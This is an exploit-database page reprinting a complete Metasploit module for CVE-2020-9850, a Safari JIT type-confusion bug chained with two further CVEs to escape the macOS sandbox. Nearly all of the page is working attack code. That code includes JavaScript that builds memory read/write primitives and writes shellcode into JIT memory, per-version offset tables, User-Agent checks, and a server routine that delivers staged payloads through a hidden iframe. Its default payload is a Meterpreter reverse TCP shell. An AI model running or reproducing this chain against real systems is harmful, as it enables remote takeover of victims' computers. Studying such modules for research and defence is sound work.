Advertisement






Safari Type Confusion / Sandbox Escape

CVE Category Price Severity
CVE-2020-9850 CWE-119 $100,000 - $149,999 Critical
Author Risk Exploitation Type Date
Rz3pro High Remote 2020-10-01
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020100009

Below is a copy:

Safari Type Confusion / Sandbox Escape
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Safari in Operator Side Effect Exploit',
        'Description' => %q{
          This module exploits an incorrect side-effect modeling of the 'in' operator.
          The DFG compiler assumes that the 'in' operator is side-effect free, however
          the <embed> element with the PDF plugin provides a callback that can trigger
          side-effects leading to type confusion (CVE-2020-9850).
          The type confusion can be used as addrof and fakeobj primitives that then
          lead to arbitrary read/write of memory. These primitives allow us to write
          shellcode into a JIT region (RWX memory) containing the next stage of the
          exploit.
          The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server,
          and extracts a macOS application containing our payload into /var/db/CVMS.
          The payload can then be opened with CVE-2020-9801, executing the payload
          as a user but without sandbox restrictions.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
            'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
            'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
            'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
            'timwr' # metasploit integration
          ],
        'References' => [
          ['CVE', '2020-9801'],
          ['CVE', '2020-9850'],
          ['CVE', '2020-9856'],
          ['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
        'Targets' => [
          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
          [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
        ],
        'DisclosureDate' => 'Mar 18 2020'
      )
    )
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit javascript', false]),
    ])
  end

  def exploit_js
    <<~JS
      const DUMMY_MODE = 0;
      const ADDRESSOF_MODE = 1;
      const FAKEOBJ_MODE = 2;

      function pwn() {
        let otherWindow = document.getElementById('frame').contentWindow;
        let innerDiv = otherWindow.document.querySelector('div');

        if (!innerDiv) {
          print("Failed to get innerDiv");
          return;
        }

        let embed = otherWindow.document.querySelector('embed');

        otherWindow.document.body.removeChild(embed);
        otherWindow.document.body.removeChild(otherWindow.annotationContainer);

        const origFakeObjArr = [1.1, 1.1];
        const origAddrOfArr = [2.2, 2.2];
        let fakeObjArr = Array.from(origFakeObjArr);
        let addressOfArr = Array.from(origAddrOfArr);
        let addressOfTarget = {};

        let sideEffectMode = DUMMY_MODE;
        otherWindow.document.body.addEventListener('DOMSubtreeModified', () => {
          if (sideEffectMode == DUMMY_MODE)
            return;
          else if (sideEffectMode == FAKEOBJ_MODE)
            fakeObjArr[0] = {};
          else if (sideEffectMode == ADDRESSOF_MODE)
            addressOfArr[0] = addressOfTarget;
        });

        print('Callback is registered');

        otherWindow.document.body.appendChild(embed);
        let triggerArr;

        function optFakeObj(triggerArr, arr, addr) {
          arr[1] = 5.5;
          let tmp = 0 in triggerArr;
          arr[0] = addr;
          return tmp;
        }

        function optAddrOf(triggerArr, arr) {
          arr[1] = 6.6;
          let tmp = 0 in triggerArr;
          return [arr[0], tmp];
        }

        function prepare() {
          triggerArr = [7.7, 8.8];
          triggerArr.__proto__ = embed;
          sideEffectMode = DUMMY_MODE;
          for (var i = 0; i < 1e5; i++) {
            optFakeObj(triggerArr, fakeObjArr, 9.9);
            optAddrOf(triggerArr, addressOfArr);
          }
          delete triggerArr[0];
        }

        function cleanup() {
          otherWindow.document.body.removeChild(embed);
          otherWindow.document.body.appendChild(embed);

          if (sideEffectMode == FAKEOBJ_MODE)
            fakeObjArr = Array.from(origFakeObjArr);
          else if (sideEffectMode == ADDRESSOF_MODE)
            addressOfArr = Array.from(origAddrOfArr);

          sideEffectMode = DUMMY_MODE;
        }

        function addressOf(obj) {
          addressOfTarget = obj;
          sideEffectMode = ADDRESSOF_MODE;
          let ret = optAddrOf(triggerArr, addressOfArr)[0];
          cleanup();
          return Int64.fromDouble(ret);
        }

        function fakeObj(addr) {
          sideEffectMode = FAKEOBJ_MODE;
          optFakeObj(triggerArr, fakeObjArr, addr.asDouble());
          let ret = fakeObjArr[0];
          cleanup();
          return ret;
        }

        prepare();
        print("Prepare is done");

        let hostObj = {
          _: 1.1,
          length: (new Int64('0x4141414141414141')).asDouble(),
          id: new Int64([
            0, 0, 0, 0, // m_structureID
            0x17,       // m_indexingType
            0x19,       // m_type
            0x08,       // m_flags
            0x1         // m_cellState
          ]).asJSValue(),
          butterfly: 0,
          o:1,
          executable:{
            a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58)
            unlinkedExecutable:{
              isBuiltinFunction: 1 << 31,
              b:0, c:0, d:0, e:0, f:0, g:0,              // Padding (offset: 0x48)
              identifier: null
            }
          },
          strlen_or_id: (new Int64('0x10')).asDouble(),
          target: null
        }

        // Structure ID leak of hostObj.target
        hostObj.target=hostObj

        var hostObjRawAddr = addressOf(hostObj);
        var hostObjBufferAddr = Add(hostObjRawAddr, 0x20)
        var fakeHostObj = fakeObj(hostObjBufferAddr);
        var fakeIdentifier = fakeObj(Add(hostObjRawAddr, 0x40));

        hostObj.executable.unlinkedExecutable.identifier=fakeIdentifier
        let rawStructureId=Function.prototype.toString.apply(fakeHostObj)

        let leakStructureId=Add(new Int64(
          rawStructureId[9].charCodeAt(0)+rawStructureId[10].charCodeAt(0)*0x10000
          ), new Int64([
            0, 0, 0, 0, // m_structureID
            0x07,       // m_indexingType
            0x22,       // m_type
            0x06,       // m_flags
            0x1         // m_cellState
        ]))
        print('Leaked structure ID: ' + leakStructureId);

        hostObj.strlen_or_id = hostObj.id = leakStructureId.asDouble();
        hostObj.butterfly = fakeHostObj;

        addressOf = function(obj) {
          hostObj.o = obj;
          return Int64.fromDouble(fakeHostObj[2]);
        }

        fakeObj = function(addr) {
          fakeHostObj[2] = addr.asDouble();
          return hostObj.o;
        }

        print('Got reliable addressOf/fakeObj');

        let rwObj = {
          _: 1.1,
          length: (new Int64('0x4141414141414141')).asDouble(),
          id: leakStructureId.asDouble(),
          butterfly: 1.1,

          __: 1.1,
          innerLength: (new Int64('0x4141414141414141')).asDouble(),
          innerId: leakStructureId.asDouble(),
          innerButterfly: 1.1,
        }

        var rwObjBufferAddr = Add(addressOf(rwObj), 0x20);
        var fakeRwObj = fakeObj(rwObjBufferAddr);
        rwObj.butterfly = fakeRwObj;

        var fakeInnerObj = fakeObj(Add(rwObjBufferAddr, 0x20));
        rwObj.innerButterfly = fakeInnerObj;


        function read64(addr) {
          // We use butterfly and it depends on its size in -1 index
          // Thus, we keep searching non-zero value to read value
          for (var i = 0; i < 0x1000; i++) {
            fakeRwObj[5] = Sub(addr, -8 * i).asDouble();
            let value = fakeInnerObj[i];
            if (value) {
              return Int64.fromDouble(value);
            }
          }
          throw 'Failed to read: ' + addr;
        }

        function write64(addr, value) {
          fakeRwObj[5] = addr.asDouble();
          fakeInnerObj[0] = value.asDouble();
        }

        function makeJITCompiledFunction() {
          var obj = {};
          // Some code to avoid inlining...
          function target(num) {
            num ^= Math.random() * 10000;
            num ^= 0x70000001;
            num ^= Math.random() * 10000;
            num ^= 0x70000002;
            num ^= Math.random() * 10000;
            num ^= 0x70000003;
            num ^= Math.random() * 10000;
            num ^= 0x70000004;
            num ^= Math.random() * 10000;
            num ^= 0x70000005;
            num ^= Math.random() * 10000;
            num ^= 0x70000006;
            num ^= Math.random() * 10000;
            num ^= 0x70000007;
            num ^= Math.random() * 10000;
            num ^= 0x70000008;
            num ^= Math.random() * 10000;
            num ^= 0x70000009;
            num ^= Math.random() * 10000;
            num ^= 0x7000000a;
            num ^= Math.random() * 10000;
            num ^= 0x7000000b;
            num ^= Math.random() * 10000;
            num ^= 0x7000000c;
            num ^= Math.random() * 10000;
            num ^= 0x7000000d;
            num ^= Math.random() * 10000;
            num ^= 0x7000000e;
            num ^= Math.random() * 10000;
            num ^= 0x7000000f;
            num ^= Math.random() * 10000;
            num ^= 0x70000010;
            num ^= Math.random() * 10000;
            num ^= 0x70000011;
            num ^= Math.random() * 10000;
            num ^= 0x70000012;
            num ^= Math.random() * 10000;
            num ^= 0x70000013;
            num ^= Math.random() * 10000;
            num ^= 0x70000014;
            num ^= Math.random() * 10000;
            num ^= 0x70000015;
            num ^= Math.random() * 10000;
            num ^= 0x70000016;
            num ^= Math.random() * 10000;
            num ^= 0x70000017;
            num ^= Math.random() * 10000;
            num ^= 0x70000018;
            num ^= Math.random() * 10000;
            num ^= 0x70000019;
            num ^= Math.random() * 10000;
            num ^= 0x7000001a;
            num ^= Math.random() * 10000;
            num ^= 0x7000001b;
            num ^= Math.random() * 10000;
            num ^= 0x7000001c;
            num ^= Math.random() * 10000;
            num ^= 0x7000001d;
            num ^= Math.random() * 10000;
            num ^= 0x7000001e;
            num ^= Math.random() * 10000;
            num ^= 0x7000001f;
            num ^= Math.random() * 10000;
            num ^= 0x70000020;
            num ^= Math.random() * 10000;
            num &= 0xffff;
            return num;
          }

          // Force JIT compilation.
          for (var i = 0; i < 1000; i++) {
            target(i);
          }
          for (var i = 0; i < 1000; i++) {
            target(i);
          }
          for (var i = 0; i < 1000; i++) {
            target(i);
          }
          return target;
        }

        function getJITCodeAddr(func) {
          var funcAddr = addressOf(func);
          print("Target function @ " + funcAddr.toString());
          var executableAddr = read64(Add(funcAddr, 3 * 8));
          print("Executable instance @ " + executableAddr.toString());

          var jitCodeAddr = read64(Add(executableAddr, 3 * 8));
          print("JITCode instance @ " + jitCodeAddr.toString());

          if (And(jitCodeAddr, new Int64('0xFFFF800000000000')).toString() != '0x0000000000000000' ||
              And(Sub(jitCodeAddr, new Int64('0x100000000')), new Int64('0x8000000000000000')).toString() != '0x0000000000000000') {
            jitCodeAddr = Add(ShiftLeft(read64(Add(executableAddr, 3 * 8 + 1)), 1), 0x100);
            print("approx. JITCode instance @ " + jitCodeAddr.toString());
          }

          return jitCodeAddr;
        }

        function setJITCodeAddr(func, addr) {
          var funcAddr = addressOf(func);
          print("Target function @ " + funcAddr.toString());
          var executableAddr = read64(Add(funcAddr, 3 * 8));
          print("Executable instance @ " + executableAddr.toString());
          write64(Add(executableAddr, 3 * 8), addr);
        }

        function getJITFunction() {
          var shellcodeFunc = makeJITCompiledFunction();
          shellcodeFunc();
          var jitCodeAddr = getJITCodeAddr(shellcodeFunc);
          return [shellcodeFunc, jitCodeAddr];
        }

        var [_JITFunc, rwxMemAddr] = getJITFunction();

        for (var i = 0; i < stage0.length; i++)
          write64(Add(rwxMemAddr, i), new Int64(stage0[i]));

        setJITCodeAddr(alert, rwxMemAddr);
        var argv = {
          a0: stage1Arr,
          a1: stage2Arr,
          doc: document,
          a2: 0x41414141,
          a3: 0x42424242,
          a4: 0x43434343,
        };
        alert(argv);
      }

      var ready = new Promise(function(resolve) {
        if (typeof(window) === 'undefined')
          resolve();
        else
          window.onload = function() {
            resolve();
          }
      });

      ready.then(function() {
        try {
          pwn()
        } catch (e) {
          print("Exception caught: " + e);
          location.reload();
        }
      }).catch(function(err) {
        print("Initializatin failed");
      });
    JS
  end

  def offset_table
    {
      'placeholder' => {
        jsc_confstr_stub: 0x0FF5370041414141,
        jsc_llint_entry_call: 0x0FF5370041414142,
        libsystem_c_confstr: 0x0FF5370041414143,
        libsystem_c_dlopen: 0x0FF5370041414144,
        libsystem_c_dlsym: 0x0FF5370041414145
      },
      '10.15.3' => {
        jsc_confstr_stub: 0xE7D8B4,
        jsc_llint_entry_call: 0x361f13,
        libsystem_c_confstr: 0x2644,
        libsystem_c_dlopen: 0x80430,
        libsystem_c_dlsym: 0x80436
      },
      '10.15.4' => {
        jsc_confstr_stub: 0xF96446,
        jsc_llint_entry_call: 0x380a1d,
        libsystem_c_confstr: 0x2be4,
        libsystem_c_dlopen: 0x8021e,
        libsystem_c_dlsym: 0x80224
      }
    }
  end

  def get_offsets(user_agent)
    if user_agent =~ /Intel Mac OS X (.*?)\)/
      osx_version = Regexp.last_match(1).gsub('_', '.')
      if user_agent =~ %r{Version/(.*?) }
        if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('13.1')
          print_warning "Safari version #{Regexp.last_match(1)} is not vulnerable"
          return false
        else
          print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable"
        end
      end
      mac_osx_version = Gem::Version.new(osx_version)
      if mac_osx_version >= Gem::Version.new('10.15.5')
        print_warning "macOS version #{mac_osx_version} is not vulnerable"
      elsif mac_osx_version < Gem::Version.new('10.14')
        print_warning "macOS version #{mac_osx_version} is not supported"
      elsif offset_table.key?(osx_version)
        return offset_table[osx_version]
      else
        print_warning "No offsets for version #{mac_osx_version}"
      end
    else
      print_warning 'Unexpected User-Agent'
    end
    return false
  end

  def on_request_uri(cli, request)
    if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
      print_status("[*] #{request.body}")
      send_response(cli, '')
      return
    end

    user_agent = request['User-Agent']
    print_status("Request #{request.uri} from #{user_agent}")
    if request.uri.ends_with? '.pdf'
      send_response(cli, '', { 'Content-Type' => 'application/pdf' })
      return
    end

    offsets = get_offsets(user_agent)
    unless offsets
      send_not_found(cli)
      return
    end

    utils = exploit_data 'javascript_utils', 'utils.js'
    int64 = exploit_data 'javascript_utils', 'int64.js'
    stage0 = exploit_data 'CVE-2020-9850', 'stage0.bin'
    stage1 = exploit_data 'CVE-2020-9850', 'loader.bin'
    stage2 = exploit_data 'CVE-2020-9850', 'sbx.bin'

    offset_table['placeholder'].each do |k, v|
      placeholder_index = stage1.index([v].pack('Q'))
      stage1[placeholder_index, 8] = [offsets[k]].pack('Q')
    end

    case target['Arch']
    when ARCH_X64
      root_payload = payload.encoded
    when ARCH_PYTHON
      root_payload = "CMD:echo \"#{payload.encoded}\" | python"
    when ARCH_CMD
      root_payload = "CMD:#{payload.encoded}"
    end
    if root_payload.length > 1024
      fail_with Failure::PayloadFailed, "Payload size (#{root_payload.length}) exceeds space in payload placeholder"
    end
    placeholder_index = stage2.index('ROOT_PAYLOAD_PLACEHOLDER')
    stage2[placeholder_index, root_payload.length] = root_payload
    payload_js = <<~JS
      const stage0 = [
        #{Rex::Text.to_num(stage0)}
      ];
      var stage1Arr = new Uint8Array([#{Rex::Text.to_num(stage1)}]);
      var stage2Arr = new Uint8Array([#{Rex::Text.to_num(stage2)}]);
    JS

    jscript = <<~JS
      #{utils}
      #{int64}
      #{payload_js}
      #{exploit_js}
    JS

    if datastore['DEBUG_EXPLOIT']
      debugjs = %^
print = function(arg) {
  var request = new XMLHttpRequest();
  request.open("POST", "/print", false);
  request.send("" + arg);
};
^
      jscript = "#{debugjs}#{jscript}"
    else
      jscript.gsub!(%r{//.*$}, '') # strip comments
      jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
    end

    pdfpath = datastore['URIPATH'] || get_resource
    pdfpath += '/' unless pdfpath.end_with? '/'
    pdfpath += Rex::Text.rand_text_alpha(4..8) + '.pdf'

    html = <<~HTML
      <html>
        <head>
          <style>
            body {
              margin: 0;
            }
            iframe {
              display: none;
            }
          </style>
        </head>
        <body>
          <iframe id=frame width=10% height=10% src="#{pdfpath}"></iframe>
          <script>
          #{jscript}
          </script>
        </body>
      </html>
    HTML

    send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
  end

end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum